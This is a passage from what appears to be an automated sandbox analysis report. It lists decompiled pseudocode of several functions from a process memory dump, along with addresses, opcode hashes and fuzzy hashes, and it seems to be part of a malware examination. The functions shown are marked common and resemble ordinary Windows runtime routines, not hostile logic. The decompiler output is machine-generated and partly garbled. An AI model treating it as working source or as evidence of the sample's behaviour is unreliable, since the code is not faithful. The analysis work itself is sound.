				signed int* _v88;
				intOrPtr _v92;
				signed int* _v96;
				intOrPtr _v100;
				signed int* _v104;
				signed int* _v108;
				char _v140;
				signed int _v144;
				signed int _v148;
				signed int* _v152;
				char _v156;
				signed int* _v160;
				char _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t67;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				signed int _t73;

				_t69 = __edx;
				_v8 =  *0x34cd360 ^ _t73;
				_t48 =  *[fs:0x30];
				_t72 = __edx;
				_t71 = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
					_t48 = E03404E70(0x34c86e4, 0x3419490, 0, 0);
					if( *0x34c53e8 > 5 && E03418F33(0x34c53e8, 0, 0x2000) != 0) {
						_v156 =  *((intOrPtr*)(_t71 + 0x44));
						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
						_v164 =  *((intOrPtr*)(_t72 + 0x58));
						_v108 =  &_v84;
						_v92 =  *((intOrPtr*)(_t71 + 0x28));
						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
						_v76 =  &_v156;
						_t70 = 8;
						_v60 =  &_v144;
						_t67 = 4;
						_v44 =  &_v148;
						_v152 = 0;
						_v160 = 0;
						_v104 = 0;
						_v100 = 2;
						_v96 = 0;
						_v88 = 0;
						_v80 = 0;
						_v72 = 0;
						_v68 = _t70;
						_v64 = 0;
						_v56 = 0;
						_v52 = 0x34c53e8;
						_v48 = 0;
						_v40 = 0;
						_v36 = 0x34c53e8;
						_v32 = 0;
						_v28 =  &_v164;
						_v24 = 0;
						_v20 = _t70;
						_v16 = 0;
						_t69 = 0x33bbc46;
						_t48 = E03457B9C(0x34c53e8, 0x33bbc46, _t67, 0x34c53e8, _t70,  &_v140);
					}
				}
				return E0341B640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
			}

0x03418ec7
0x03418ed9
0x03418edc
0x03418ee6
0x03418ee9
0x03418eee
0x03418efc
0x03418f08
0x03451349
0x03451353
0x0345135d
0x03451366
0x0345136f
0x03451375
0x0345137c
0x03451385
0x03451390
0x03451391
0x0345139c
0x0345139d
0x034513a6
0x034513ac
0x034513b2
0x034513b5
0x034513bc
0x034513bf
0x034513c2
0x034513c5
0x034513c8
0x034513cb
0x034513ce
0x034513d1
0x034513d4
0x034513d7
0x034513da
0x034513dd
0x034513e0
0x034513e3
0x034513e6
0x034513e9
0x034513f6
0x03451400
0x03451400
0x03418f08
0x03418f32

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53f68ea719d101bb1631049acbe47047bdabce232ae384786b696449e6cd5a29
Instruction ID: b4e2ac6dab848dd706a1c3b343d96f41773b1b607b6974b4dd9def5d8abf6169
Opcode Fuzzy Hash: 53f68ea719d101bb1631049acbe47047bdabce232ae384786b696449e6cd5a29
Instruction Fuzzy Hash: 0C41A1B5D107189EDB20CFAAD980AAEFBF4FB48310F5041AFE519AB241D7709A44CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0340E730, Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E0340E730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E03419670() < 0) {
					L0342DF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t38 =  *0x34c7b9c; // 0x0
						_t62 = _t52 & 0x000000ff;
						_t59 = L033F4620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M0340E810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

0x0340e730
0x0340e736
0x0340e738
0x0340e73d
0x0340e73e
0x0340e740
0x0340e749
0x0340e765
0x0340e76a
0x0340e76b
0x0340e76c
0x0340e76d
0x0340e76e
0x0340e76f
0x0340e775
0x0340e777
0x0340e77e
0x0344b675
0x0340e784
0x0340e784
0x0340e789
0x0340e7a8
0x0340e7ac
0x0340e807
0x0340e7ae
0x0340e7ae
0x0340e7b1
0x0340e7b4
0x0340e7b9
0x0340e7c0
0x0340e7c4
0x0340e7ca
0x0340e7cc
0x00000000
0x0340e7d3
0x0340e7d6
0x00000000
0x00000000
0x0340e7ff
0x0340e802
0x00000000
0x00000000
0x0340e7f9
0x0340e7fc
0x00000000
0x00000000
0x0340e7f3
0x0340e7f6
0x00000000
0x00000000
0x0340e7ed
0x0340e7f0
0x00000000
0x00000000
0x0340e7e7
0x0340e7ea
0x00000000
0x00000000
0x0344b685
0x0344b688
0x00000000
0x00000000
0x0344b682
0x00000000
0x00000000
0x0340e7cc
0x0340e7d9
0x0340e7dc
0x0340e7de
0x0340e7de
0x0340e7ac
0x0340e7e4
0x0340e74b
0x0340e751
0x0340e759
0x0340e761
0x0340e761

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4985b8edda540c97a2b09d713271d4d1015822aaf68bcd030acd56a4247578a7
Instruction ID: e59c0a09ba4d219d9f5887c8adbcaf5e8f3425b1390a0704f4ad8ac1ef61c7b3
Opcode Fuzzy Hash: 4985b8edda540c97a2b09d713271d4d1015822aaf68bcd030acd56a4247578a7
Instruction Fuzzy Hash: 5A318D75A14249EFD744CF28C840B9AFBE8FB09314F14866AF914CF381D631E990CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0340BC2C, Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0340BC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0x34c6100; // 0x11
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E033F2280(0xd, 0x107df1a0);
				_t41 =  *0x34c60f8; // 0x0
				if(_t41 != 0) {
					 *0x34c60f8 =  *_t41;
					 *0x34c60fc =  *0x34c60fc + 0xffff;
				}
				E033EFFB0(_t41, 0x800, 0x107df1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0x34c60f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L033F4620(0x34c6100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0x34c6100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}

0x0340bc36
0x0340bc42
0x0340bc45
0x0340bc4a
0x0340bd35
0x00000000
0x00000000
0x00000000
0x00000000
0x0340bc50
0x0340bc50
0x0340bc58
0x0340bc5a
0x0340bc60
0x00000000
0x00000000
0x0344a4f2
0x0344a4f6
0x00000000
0x00000000
0x00000000
0x0344a4fc
0x0340bc79
0x0340bc7e
0x0340bc86
0x0340bd16
0x0340bd20
0x0340bd20
0x0340bc8d
0x0340bc94
0x0340bcbd
0x0340bcca
0x0340bccb
0x0340bccc
0x0340bccd
0x0340bcce
0x0340bcd4
0x0340bcea
0x0340bcee
0x0340bcf2
0x0340bd00
0x0340bd04
0x00000000
0x0340bc96
0x0340bcab
0x0340bcaf
0x0340bd2c
0x0340bd2c
0x0340bd09
0x00000000
0x0340bd09
0x0340bcb1
0x0340bcb5
0x0340bcbb
0x00000000
0x00000000
0x00000000
0x0340bcbb

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2c30d6f04763a50a2c02b962e288801a5d782d74c29ca6764d39d3ee8451f1
Instruction ID: 9f8d8c160c7beae675c0d31b3802d4875c240dd0e48a14b2939b25192e72166e
Opcode Fuzzy Hash: 6e2c30d6f04763a50a2c02b962e288801a5d782d74c29ca6764d39d3ee8451f1
Instruction Fuzzy Hash: 8331F536A106159FCB51EF58D4C07A6B3A4FF18311F09807AED54EF385EB78D9058B98

Uniqueness

Uniqueness Score: -1.00%

Function 033D9100, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E033D9100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x34af6e8);
				E0342D0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E034A88F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E0342D130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0x34c86c0; // 0x2f807b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0x34c86b8; // 0x0
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E033F2280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E034A88F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E0341AFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x34cb1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x34c84c0;
										if(_t69 >=  *0x34c84c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E034A9063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E033D922A(_t82);
							_t53 = E033F7D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E034A8B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0x34c86c0; // 0x2f807b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0x34c86b8; // 0x0
									if(__eflags == 0) {
										_t79 = 0x34c86bc;
										_t72 = 0x34c86b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E033D9240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0x34c86c4;
									_t72 = 0x34c86c0;
									L18:
									E03409B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}

0x033d9100
0x033d9100
0x033d9100
0x033d9100
0x033d9102
0x033d9107
0x033d910c
0x033d9110
0x033d9115
0x033d9136
0x033d9143
0x034337e4
0x034337e4
0x033d9149
0x033d914e
0x033d914e
0x033d9117
0x033d911d
0x00000000
0x00000000
0x033d911f
0x033d9125
0x00000000
0x033d9151
0x033d9158
0x033d915d
0x033d9161
0x033d9168
0x03433715
0x00000000
0x033d916e
0x033d916e
0x033d9175
0x033d9177
0x033d917e
0x033d917f
0x033d9182
0x033d9182
0x033d9187
0x033d9187
0x033d918a
0x033d918d
0x033d918f
0x033d9192
0x033d9195
0x033d9198
0x033d9198
0x033d9198
0x033d919a
0x00000000
0x00000000
0x0343371f
0x03433721
0x03433727
0x0343372f
0x03433733
0x03433735
0x03433738
0x0343373b
0x0343373d
0x03433740
0x00000000
0x00000000
0x03433746
0x03433749
0x00000000
0x00000000
0x0343374f
0x03433751
0x00000000
0x00000000
0x03433757
0x03433759
0x0343375c
0x0343375c
0x0343375e
0x0343375e
0x03433761
0x03433764
0x00000000
0x00000000
0x03433766
0x03433768
0x034337a3
0x034337a3
0x034337a5
0x034337a7
0x034337ad
0x034337b0
0x034337b2
0x034337bc
0x034337c2
0x034337c2
0x034337b2
0x033d9187
0x033d9187
0x033d918a
0x033d918d
0x033d918f
0x033d9192
0x033d9195
0x00000000
0x033d9195
0x00000000
0x033d9187
0x0343376a
0x0343376a
0x0343376c
0x0343376c
0x0343376f
0x03433775
0x00000000
0x00000000
0x03433777
0x03433779
0x00000000
0x00000000
0x03433782
0x03433787
0x03433789
0x03433790
0x03433790
0x0343378b
0x0343378b
0x0343378b
0x03433792
0x03433795
0x03433795
0x03433798
0x03433798
0x0343379b
0x0343379b
0x033d91a3
0x033d91a9
0x033d91b0
0x033d91b4
0x033d91b4
0x033d91bb
0x033d91c0
0x033d91c5
0x033d91c7
0x034337da
0x033d91cd
0x033d91cd
0x033d91cd
0x033d91d2
0x033d91d5
0x033d9239
0x033d9239
0x033d91d7
0x033d91db
0x033d91e1
0x033d91e7
0x033d91fd
0x033d9203
0x033d921e
0x033d9223
0x00000000
0x033d9223
0x033d9205
0x033d9208
0x033d920c
0x033d9214
0x033d9214
0x033d91e9
0x033d91e9
0x033d91ee
0x033d91f3
0x033d91f3
0x033d91f3
0x033d91e7
0x00000000
0x033d91db
0x033d9187
0x033d9168

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36487372a0d2631d0fa6133bf7007aab1d93864c77648bc48039e4ad7dc6021d
Instruction ID: fedeaa8ff32d27b7cf9fed4f090cdce46c630152a6d3ccf6434e676aad025d8c
Opcode Fuzzy Hash: 36487372a0d2631d0fa6133bf7007aab1d93864c77648bc48039e4ad7dc6021d
Instruction Fuzzy Hash: BD31B27AE00649DFDB61DF68D8C87ADBBF5BB49314F18818AC4156F351C330A980CB55

Uniqueness

Uniqueness Score: -1.00%

Function 03401DB5, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E03401DB5(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* _t22;
				char _t23;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = E033FF460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					_t38 = _a4;
					if(_t23 >  *_a4) {
						_t42 = L033F4620(_t38,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(E033FF460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}

0x03401dc2
0x03401dc5
0x03401dc7
0x03401dcc
0x03401dce
0x03401dd6
0x03401ddf
0x03401de0
0x03401de1
0x03401de5
0x03401de8
0x03401def
0x03401df0
0x03401df6
0x03401df7
0x03401dfe
0x03401e1a
0x00000000
0x00000000
0x03401e0b
0x03401e12
0x03401e12
0x03401e00
0x03401e00
0x03401e05
0x03401e1e
0x03401e23
0x0344570f
0x03445713
0x00000000
0x00000000
0x03445719
0x03445719
0x03401e2c
0x03401e2d
0x03401e2e
0x03401e2f
0x03401e31
0x03401e32
0x03401e35
0x03401e3d
0x03445723
0x0344573d
0x0344573d
0x00000000
0x03445723
0x03401e49
0x03401e4e
0x03401e4e
0x03401e09
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction ID: 50510272ac8fed8e0ef38d698e8f8b24248c9f5e85bb61cfbee90b99c5170b97
Opcode Fuzzy Hash: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction Fuzzy Hash: EB216D7AA00219AFD721CF99C880EAFFBB9EF85780F154066E9059B650D634AE41C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 033F0050, Relevance: .1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E033F0050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0x34cd360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				E03409ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
					_t58 = _t52 & 0x00000001;
					_t24 = _t44;
					asm("lock cmpxchg [ebx], edx");
					_t52 = _t44;
				} while (_t52 != _t44);
				if(_t58 == 0) {
					L7:
					_pop(_t59);
					_pop(_t62);
					_pop(_t41);
					return E0341B640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
				}
				asm("lock xadd [esi], eax");
				_t47 =  *[fs:0x18];
				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t30 != 0) {
					if( *_t30 == 0) {
						goto L4;
					}
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					L5:
					if( *_t31 != 0) {
						_t18 = _t61 + 0x78; // 0x78
						E034A8A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
					}
					_t52 =  *(_t61 + 0x5c);
					_t11 = _t61 + 0x78; // 0x78
					_t34 = E03409702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
					_t24 = _t34 | 0xffffffff;
					asm("lock xadd [esi], eax");
					if((_t34 | 0xffffffff) == 0) {
						 *0x34cb1e0(_t61);
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
					}
					goto L7;
				}
				L4:
				_t31 = 0x7ffe0386;
				goto L5;
			}

0x033f0055
0x033f005d
0x033f0062
0x033f006c
0x033f006f
0x033f0074
0x033f007a
0x033f007a
0x033f0080
0x033f0080
0x033f0087
0x033f008d
0x033f008f
0x033f0093
0x033f0095
0x033f009b
0x033f00f8
0x033f00fb
0x033f00fc
0x033f00ff
0x033f0108
0x033f0108
0x033f00a2
0x033f00a6
0x033f00b3
0x033f00bc
0x033f00c5
0x033f00ca
0x0343c01e
0x00000000
0x00000000
0x0343c02d
0x033f00d5
0x033f00d9
0x0343c03d
0x0343c046
0x0343c046
0x033f00df
0x033f00e2
0x033f00ea
0x033f00ef
0x033f00f2
0x033f00f6
0x033f0111
0x033f0117
0x033f0117
0x00000000
0x033f00f6
0x033f00d0
0x033f00d0
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 652520e17ff91e3dac4f0566fb0817ab9d766e23e7bc9ce19c6d79882ab93277
Instruction ID: 4d656c304091e723575e25156cb08d4a0e447a77f6eec216587d1c16e4765902
Opcode Fuzzy Hash: 652520e17ff91e3dac4f0566fb0817ab9d766e23e7bc9ce19c6d79882ab93277
Instruction Fuzzy Hash: A9319A35201B04CFD725CB28C884B9AB3E5FB89714F18456DE5A68BAA1EB35A801CB90

Uniqueness

Uniqueness Score: -1.00%

Function 03456C0A, Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E03456C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = E033F7D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0x34c7b9c; // 0x0
					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L033F4620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E0341F3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(E033F7D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E03419AE0();
						_t23 = L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}

0x03456c0a
0x03456c0f
0x03456c10
0x03456c13
0x03456c15
0x03456c19
0x03456c1c
0x03456c21
0x03456c28
0x03456c3a
0x03456c2a
0x03456c33
0x03456c33
0x03456c3f
0x03456c48
0x03456c4d
0x03456c60
0x03456c65
0x03456c69
0x03456c73
0x03456c79
0x03456c7f
0x03456c86
0x03456c90
0x03456c94
0x03456ca6
0x03456cb2
0x03456cbd
0x03456cbd
0x03456cc3
0x03456cc7
0x03456ccb
0x03456cd0
0x03456cd1
0x03456ce2
0x03456ce2
0x03456c69
0x03456ced

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
